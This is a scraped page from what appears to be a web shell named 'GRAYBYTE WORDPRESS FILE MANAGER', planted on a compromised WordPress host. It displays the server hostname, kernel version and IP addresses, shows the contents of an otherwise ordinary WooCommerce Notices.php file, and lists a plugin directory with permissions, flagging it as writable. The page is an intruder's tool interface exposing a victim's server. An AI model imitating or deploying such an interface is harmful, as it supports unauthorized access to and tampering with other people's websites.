✘✘ GRAYBYTE WORDPRESS FILE MANAGER ✘✘

​🇳​​🇦​​🇲​​🇪♯➤ premium290.web-hosting.com ​🇻​♯➤ 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP 🇾​♯➤ 2025

𝗛𝗢𝗠𝗘 𝗜𝗗 ♯➤ 63.250.38.37 ♯➤ 𝗔𝗗𝗠𝗜𝗡 𝗜𝗗 216.73.217.6
𝗢𝗣𝗧𝗜𝗢𝗡𝗦 ♯ CRL ♯➤ 𝗢𝗞 ┃ WGT ♯➤ 𝗢𝗞 ┃ SDO ♯➤ 𝗢𝗙𝗙 ┃ PKEX ♯➤ 𝗢𝗙𝗙
𝗗𝗘𝗔𝗖𝗧𝗜𝗩𝗔𝗧𝗘𝗗 ♯➤ 𝗔𝗟𝗟 𝗪𝗢𝗥𝗞𝗜𝗡𝗚....

𝗛𝗢𝗠𝗘
𝗖𝗨𝗥𝗥𝗘𝗡𝗧 𝗙𝗜𝗟𝗘 : /home/tdhomesa/public_html/wp-content/plugins/woocommerce/src/Blocks/Domain/Services//Notices.php
<?php
namespace Automattic\WooCommerce\Blocks\Domain\Services;

use Automattic\WooCommerce\Blocks\Domain\Package;
use Automattic\WooCommerce\Blocks\Utils\CartCheckoutUtils;

/**
 * Service class for adding new-style Notices to WooCommerce core.
 *
 * @internal
 */
class Notices {
	/**
	 * Holds the Package instance
	 *
	 * @var Package
	 */
	private $package;

	/**
	 * Templates used for notices.
	 *
	 * @var array
	 */
	private $notice_templates = array(
		'notices/error.php',
		'notices/notice.php',
		'notices/success.php',
	);

	/**
	 * Constructor
	 *
	 * @param Package $package An instance of the package class.
	 */
	public function __construct( Package $package ) {
		$this->package = $package;
	}

	/**
	 * Initialize notice hooks.
	 */
	public function init() {
		add_action(
			'after_setup_theme',
			function () {
				/**
				 * Allow classic theme developers to opt-in to using block notices.
				 *
				 * @since 8.8.0
				 * @param bool $use_block_notices_in_classic_theme Whether to use block notices in classic theme.
				 * @return bool
				 */
				if ( wp_is_block_theme() || apply_filters( 'woocommerce_use_block_notices_in_classic_theme', false ) ) {
					add_filter( 'wc_get_template', [ $this, 'get_notices_template' ], 10, 5 );
				}
			}
		);

		add_filter( 'woocommerce_kses_notice_allowed_tags', [ $this, 'add_kses_notice_allowed_tags' ] );
		add_action( 'wp_head', [ $this, 'enqueue_notice_styles' ] );
	}

	/**
	 * Allow SVG icon in notices.
	 *
	 * @param array $allowed_tags Allowed tags.
	 * @return array
	 */
	public function add_kses_notice_allowed_tags( $allowed_tags ) {
		$svg_args = array(
			'svg'  => array(
				'aria-hidden' => true,
				'xmlns'       => true,
				'width'       => true,
				'height'      => true,
				'viewbox'     => true,
				'focusable'   => true,
			),
			'path' => array(
				'd' => true,
			),
		);
		return array_merge( $allowed_tags, $svg_args );
	}

	/**
	 * Replaces core notice templates with those from blocks.
	 *
	 * The new notice templates match block components with matching icons and styling. The differences are:
	 * 1. Core has notices for info, success, and error notices, blocks has notices for info, success, error,
	 * warning, and a default notice type.
	 * 2. The block notices use different CSS classes to the core notices. Core uses `woocommerce-message`, `is-info`
	 * and `is-error` classes, blocks uses `wc-block-components-notice-banner is-error`,
	 * `wc-block-components-notice-banner is-info`, and `wc-block-components-notice-banner is-success`.
	 * 3. The markup of the notices is different, with the block notices using SVG icons and a slightly different
	 * structure to accommodate this.
	 *
	 * @param string $template Located template path.
	 * @param string $template_name Template name.
	 * @param array  $args Template arguments.
	 * @param string $template_path Template path.
	 * @param string $default_path Default path.
	 * @return string
	 */
	public function get_notices_template( $template, $template_name, $args, $template_path, $default_path ) {
		if ( in_array( $template_name, $this->notice_templates, true ) ) {
			$directory = get_stylesheet_directory();
			$file      = $directory . '/woocommerce/' . $template_name;

			if ( file_exists( $file ) ) {
				return $file;
			}

			$template = $this->package->get_path( 'templates/block-' . $template_name );
			wp_enqueue_style( 'wc-blocks-style' );
		}

		return $template;
	}

	/**
	 * Replaces all notices with the new block-based notices.
	 *
	 * @return void
	 */
	public function enqueue_notice_styles() {
		wp_enqueue_style( 'wc-blocks-style' );
	}
}


Current_dir [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ] Document_root [ 𝗪𝗥𝗜𝗧𝗘𝗔𝗕𝗟𝗘 ]


[ Back ]
𝗡𝗔𝗠𝗘
𝗦𝗜𝗭𝗘
𝗟𝗔𝗦𝗧 𝗧𝗢𝗨𝗖𝗛
𝗨𝗦𝗘𝗥
𝗦𝗧𝗔𝗧𝗨𝗦
𝗙𝗨𝗡𝗖𝗧𝗜𝗢𝗡𝗦
..
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
CheckoutFieldsSchema
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
Email
--
28 May 2026 10.38 AM
tdhomesa / tdhomesa
0755
CheckoutFields.php
51.821 KB
29 Jul 2025 12.34 PM
tdhomesa / tdhomesa
0644
CheckoutFieldsAdmin.php
5.293 KB
30 Apr 2024 7.35 PM
tdhomesa / tdhomesa
0644
CheckoutFieldsFrontend.php
13.756 KB
29 Jul 2025 12.34 PM
tdhomesa / tdhomesa
0644
CheckoutLink.php
5.682 KB
14 Jul 2025 1.28 PM
tdhomesa / tdhomesa
0644
CreateAccount.php
1.127 KB
23 Jun 2025 7.46 PM
tdhomesa / tdhomesa
0644
DraftOrders.php
8.422 KB
5 May 2026 2.26 PM
tdhomesa / tdhomesa
0644
FeatureGating.php
0.691 KB
18 Dec 2024 10.19 PM
tdhomesa / tdhomesa
0644
GoogleAnalytics.php
3.595 KB
30 Jan 2024 11.24 PM
tdhomesa / tdhomesa
0644
Hydration.php
9.35 KB
19 Jan 2026 2.46 PM
tdhomesa / tdhomesa
0644
Notices.php
3.546 KB
30 Jul 2024 7.31 PM
tdhomesa / tdhomesa
0644
functions.php
2.89 KB
30 Apr 2024 7.35 PM
tdhomesa / tdhomesa
0644

✘✘ GRAYBYTE WORDPRESS FILE MANAGER @ 2026 CONTACT ME ✘✘
Static GIF Static GIF